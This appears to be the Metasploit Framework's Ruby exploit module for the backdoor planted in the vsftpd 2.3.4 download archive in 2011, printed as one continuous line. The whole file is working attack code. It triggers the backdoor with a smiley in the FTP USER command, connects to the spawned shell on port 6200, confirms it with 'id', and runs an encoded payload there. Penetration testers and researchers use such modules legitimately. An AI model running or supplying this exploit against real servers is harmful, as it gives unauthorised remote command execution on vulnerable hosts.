VSFTPD v2.3.4 Backdoor Command Execution

## # $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. }, 'Author' => [ 'hdm', 'mc' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13099 $', 'References' => [ [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 3 2011', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ], self.class) end def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("The port used by the backdoor bind listener is already open") handle_backdoor(nsock) return end # Connect to the FTP service port first connect banner = sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") # Do not bother reading the response from password, just try the backdoor nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200 does not appear to be a shell") disconnect(s) return end print_good("UID: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end